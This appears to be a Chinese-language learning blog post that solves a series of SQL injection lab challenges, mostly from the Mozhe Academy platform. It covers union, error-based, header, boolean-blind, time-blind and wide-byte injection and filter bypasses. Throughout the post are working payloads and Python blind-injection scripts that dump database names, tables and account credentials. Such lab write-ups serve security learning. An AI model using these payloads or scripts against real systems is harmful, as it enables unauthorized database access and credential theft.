😋大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。
本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。
⭐️此后如竟没有炬火,我便是唯一的光。⭐️
目录
以墨者学院的sql注入题目为例,进行学习。
来到首页;
打开“关于平台停机维护的通知”链接;
判断注入的类型,判断结果为数字型注入;便开始注入数据库名,表名,列名,以及最后的账号和密码;
- #判断注入类型 -> 数字型注入
- id=1 and 1=1--+#正常回显
- id=1 and 1=2--+#不正常回显
-
- #判断列数
- id=1 order by 4--+#回显正常
- id=1 order by 5--+#回显不正常
-
- #判断回显点
- id=-1 union select 1,2,3,4--+
-
- #判断当前数据库名
- id=-1 union select 1,database(),3,4--+
-
- #判断表名
- id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'),3,4--+
-
- #判断列名
- id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='StormGroup_member'),3,4--+
-
- #注入账号和密码
- id=-1 union select 1,(select group_concat(name,0x3a,password) from StormGroup_member),3,4--+
最终得到了两个账号和密码,其中的密码是经过了md5加密的,通过解密得到两个密码的明文,进行登录(第二个账号成功登录后台拿到flag)
来到界面如上,通过brupsuite抓包;添加上x-forwarded-for头部;
判断是字符型注入还是数字型注入,显然这应该是字符型的注入。
union select order by都无法使用,尝试利用报错函数:extratcvalue()以及updatexml()函数(一句话原理:路径不合法就报错,构造错误路径格式让信息通过错误提示回显出来)
payload:爆破数据库名
- X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
-
- #同样该题还可以使用extractvalue()函数
- X-Forwarded-For: 127.0.0.1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) and '1'='1
接下来爆破表名:
payload:
X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='webcalendar'),0x7e),1) and '1'='1
爆破列名:
payload:
X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e),1) and '1'='1
爆破账号和密码:
X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from user),0x7e),1) and '1'='1
之后便是登录账号密码,拿到flag。
通过布尔盲注得到后台账号,从而获得key。
来到首页,提示我们通过账号密码进行登录;
观察到存在“关于平台停机的通知”链接,打开:
先判断是数字型注入还是字符型注入。结果是数字型的注入。接下来就是判断列数。payload:id=1 order by 4#回显正常,id=1 order by 5#无回显;
接下来就是通过脚本判断数据库名、表名、列名以及账号和密码;
- '''SQL注入漏洞测试(布尔盲注)'''
-
- import requests
-
- url = 'http://124.70.71.251:40767/new_list.php?id=1 and 1='
- def get_database():
- database_name = ''
- for i in range(1,20):
- for j in range(32,127):
- payload = f'if(ascii(substr(database(),{i},1))={j},1,0)--+'
- final_payload = url + payload
- result = requests.get(final_payload)
- if '关于平台停机维护的通知' in result.text:
- database_name+=chr(j)
- print(database_name)
- break
-
-
- def get_table():
- table_name = ''
- for i in range(1,20):
- for j in range(32,127):
- payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),{i},1))={j},1,0)--+"
- final_payload = url + payload
- result = requests.get(final_payload)
- if '关于平台停机维护的通知' in result.text:
- table_name+=chr(j)
- print(table_name)
- break
-
- def get_column():
- column_name = ''
- for i in range(1,30):
- for j in range(32,127):
- payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='notice'),{i},1))={j},1,0)--+"
- final_payload = url + payload
- result = requests.get(final_payload)
- if '关于平台停机维护的通知' in result.text:
- column_name+=chr(j)
- print(column_name)
- break
-
- def get_final_data():
- up_data = ''
- for i in range(1,100):
- for j in range(32,127):
- payload = f"if(ascii(substr((select group_concat(name,0x3a,password) from member),{i},1))={j},1,0)--+"
- final_payload = url + payload
- result = requests.get(final_payload)
- if '关于平台停机维护的通知' in result.text:
- up_data+=chr(j)
- print(up_data)
- break
-
- if __name__ == '__main__':
- #get_database()
- #get_table()
- #get_column()
- get_final_data()
最终得到了两个账号都是mozhe,密码经过了md5加密需要我们解密,第一个账号密码无法登录,使用第二个账号和密码进行登录,登陆成功拿到flag。
同样来到“关于平台停机维护的通知”界面,判断是数字型注入还是字符型的注入->判断结果为字符型注入;接下来就是判断存在的列数;
发现该题过滤了union,可以使用大小写绕过;
接下来还是常规注入:(得到两个账号密码,md5解密,使用第二个账号密码进行登录,拿到flag)
- #判断数据库名
- id=-1' UNioN select 1,database(),3,4--+
- #判断表名
- id=-1' UNioN select 1,(select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),3,4--+
-
- #判断列名
- id=-1' UNioN select 1,(select group_concat(column_name) from information_schema.columns where table_name='member'),3,4--+
- #判断账号和密码
- id=-1' UNioN select 1,(select group_concat(name,0x3a,password) from member),3,4--+
来到首页还是打开“关于平台停机的通知”链接。
题目提示我们需要掌握的目标:
测试之后发现过滤了=、空格、--+,还需要将url地址进行16进制的加密。判断是数字型的注入;
测试payload:id=1/**/and/**/1/**/like/**/1#(like的作用相当于=号,这里还可以使用<>)此外需要将payload进行16进制的加密。
正常回显,将payload进行修改为 id=1/**/and/**/1/**/like/**/2#再进行加密,回显不正常。
在线加密网站:http://www.jsons.cn/urlcode/
判断列数。payload:1/**/order/**/by/**/4#(一切测试语句均要经过url十六进制的加密)正常回显,1/**/order/**/by/**/5#回显不正常
接下来就是判断回显点;
payload:-1/**/union/**/select/**/1,2,3,4# 发现2、3回显
判断当前的数据库名;payload:-1/**/union/**/select/**/1,database(),3,4#
接下来就是去判断表名、列名;
- #爆破表名
- -1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'mozhe_discuz_stormgroup'),3,4#
- #爆破列名
- -1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'stormgroup_member'),3,4#
接下来便是查找后台的账号和密码等信息,进行登录;
payload:-1/**/union/**/select/**/1,(select/**/group_concat(name,0x3a,password)/**/from/**/stormgroup_member),3,4#
得到了三个账号和密码,分别进行md5解密,进行登录。直到用第三个账号密码进行登录的时候才成功登录拿到flag。
该题过滤了空格,可以使用/**/来替代空格
拿到题目,先来测试是数字型注入还是字符型的注入;
发现是字符型的注入;通过单引号进行闭合即可;之后便是判断存在的列数;
这里便出现了问题,通过order by 语句进行测试,order by 8--+回显不正常,order by 7--+回显正常
之后便是查询数据库名、表名、列名、以及最终的数据;
id=-1' union select 1,2,database(),4,5,6,7--+
在查询数据库名的时候,得到的查询结果无法复制,同时也无法查看网页的源代码,便通过审查元素,找到了数据库名,同时还发现了查询的语句,如下:
- #查询表名
- id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='min_ju4t_mel1i'),4,5,6,7--+
- #查询列名
- id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='(@dmin9_td4b}'),4,5,6,7--+
- #查询账号以及密码
- id=-1' union select 1,2,(select group_concat(username,0x3a,password) from `(@dmin9_td4b}`),4,5,6,7--+
这里在查询账号和密码的时候,由于表名中存在着特殊的字符,导致我们在闭合语句的时候出现错误,因此,需要通过反引号将我们的表名括起来;
通过mozhe3的账号和密码进行登录;
前言:在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。
拿到本题目,题目提示我们是宽字节注入,先来试试再id=1后面加上%df%27
拿到了报错的信息,果然再单引号的前面自动增加了\
- payload:
- id=1%df%27 and 1=1--+ #正常回显
- id=1%df%27 and 1=2--+ #不正常回显
接着就是常规操作,注入当前的数据库名,表名,列名,以及最终登录的账号和密码。
- #判断存在的列数
- id=1%df%27 order by 5--+ #正常回显
- id=1%df%27 order by 6--+ #不正常回显
-
- #判断回显点
- id=-1%df%27 union select 1,2,3,4,5--+
-
- #注入当前数据库名----利用报错函数updatexml
- id=1%df%27 and updatexml(1,concat(0x7e,(database()),0x7e),1)--+
-
- #注入表名
- id=1%df%27 and updatexml(1,concat(0x7e,((select group_concat(table_name) from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570)),0x7e),1)--+
-
- #注入列名
- id=1%df%27 and updatexml(1,concat(0x7e,((select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572)),0x7e),1)--+
-
- #注入最终的账号和密码
- id=1%df%27 and updatexml(1,concat(0x7e,((select group_concat(name,0x3a,password) from stormgroup_member)),0x7e),1)--+
注意在注入表名和列名的时候,使用到的数据库名和表名要经过ASCII HEX编码。需要注意的是updatexml只能输出32位的字符,因此我们需要用到的截取函数substring()
最终获取账号密码的payload如下:
- #注入最终的账号和密码
- id=1%df%27 and updatexml(1,concat(0x7e,((select group_concat(name,0x3a,password) from stormgroup_member)),0x7e),1)--+
-
- id=1%df%27 and updatexml(1,concat(0x7e,(substring((select group_concat(name,0x3a,password) from stormgroup_member),32)),0x7e),1)--+
-
- id=1%df%27 and updatexml(1,concat(0x7e,(substring((select group_concat(name,0x3a,password) from stormgroup_member),64)),0x7e),1)--+
最终将我们获取到的账号密码进行拼接,通过md5解密,使用第二个账号密码进行登录拿到flag。
来到首页,如下:
点击进入墨者的任性网页:
之后便开始测试,是数字型的注入还是字符型的注入;->数字型注入
题目告诉我们是时间盲注嘛,那就直接上脚本了;
- import time
- import requests
-
- url = 'http://124.70.71.251:45720/flag.php?type=1 and '
-
- def get_database():
- database_name = ''
- for i in range(1,20):
- for j in range(32,127):
- time_start = time.time()
- payload = f'1=if(ascii(substr(database(),{i},1))={j},sleep(3),0)--+'
- final_payload = url+payload
- result = requests.get(final_payload)
- time_end = time.time()
- if time_end-time_start>=3:
- database_name+=chr(j)
- print(database_name)
- break
-
- def get_table_name():
- table_name = ''
- for i in range(1,30):
- for j in range(32,127):
- time_start = time.time()
- payload = f"1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'),{i},1))={j},sleep(3),0)--+"
- final_payload = url+payload
- result = requests.get(final_payload)
- time_end = time.time()
- if time_end-time_start>=3:
- table_name+=chr(j)
- print(table_name)
- break
-
- def get_column_name():
- column_name = ''
- for i in range(1,10):
- for j in range(32,127):
- time_start = time.time()
- payload = f"1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))={j},sleep(3),0)--+"
- final_payload = url+payload
- result = requests.get(final_payload)
- time_end = time.time()
- if time_end-time_start>=3:
- column_name+=chr(j)
- print(column_name)
- break
-
- def get_flag():
- flag = ''
- for i in range(1,10):
- for j in range(32,127):
- time_start = time.time()
- payload = f"1=if(ascii(substr((select group_concat(flag) from flag),{i},1))={j},sleep(3),0)--+"
- final_payload = url+payload
- result = requests.get(final_payload)
- time_end = time.time()
- if time_end-time_start>=3:
- flag+=chr(j)
- print(flag)
- break
-
- if __name__ =='__main__':
- #get_database()
- #get_table_name()
- #get_column_name()
- get_flag()
拿到了flag之后,便回到首页去验证我们的flag是否正确,验证成功弹给我们最终的答案;
进入“平台停机公告首页”:
判断是单引号闭合还是双引号的闭合方式:->单引号闭合
- #判断存在的列数
- id=tingjigonggao' order by 4--+ #正常回显
- id=tingjigonggao' order by 5--+ #不正常回显
-
- #判断回显点
- id=-tingjigonggao' union select 1,2,3,4--+
- #判断数据库名
- id=-tingjigonggao' union select 1,database(),3,4--+
-
- #判断表名
- id=-tingjigonggao' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='mozhe_discuz_stormgroup'),3,4--+
- #判断列名
- id=-tingjigonggao' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='stormgroup_member'),3,4--+
-
- #注入最终的账号和密码
- id=-tingjigonggao' union select 1,(select group_concat(name,0x3a,password) from stormgroup_member),3,4--+
来到首页提示默认管理员的账号为admin,需要我们登陆成功才可以拿到flag,还提示我们注意看报错。使用万能口令admin' and 1=1--+
报错出现了'a','a'),所以提示输入admin','a','a')# ,密码随便输入即可拿到flag。
留言之后点击删除,发现了url中的id;加上单引号之后发现报错,可以使用报错函数来进行注入;
- #爆破数据库
- id=67 and updatexml(1,concat(0x7e,database(),0x7e),1)--+
-
- #爆破表名
- id=67 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikaqiu'),0x7e),1)--+
-
- #爆破列名
- id=67 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='message'),0x7e),1)--+
-
- #爆破key
- id=67 and updatexml(1,concat(0x7e,(select group_concat(`key`) from message),0x7e),1)--+
-
- id=1 and updatexml(1,concat(0x7e,substring((select `key` from message),32,1),0x7e),1)--+
由于key是保留字段,所以要加上``包裹;
解题方向提示:HTTP头部(HOST注入)
进入页面来抓包,由于题目提示我们HOST注入,那就直接在HOST字段开始测试:
报错,之后便是常规的注入,这里存在着一个疑惑,就是为什么用or 1=1 来判断呢?
- payload:
- order by 4 //正常回显
- order by 5 //不正常回显
- union select 1,2,3,4 //2 3 4 是回显点
- union select 1,database(),3,4
- union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=''),3,4
- union select 1,(select group_concat(column_name) from information_schema.columns where table_name=''),3,4
- union select 1,(select group_concat(flag) from flag),3,4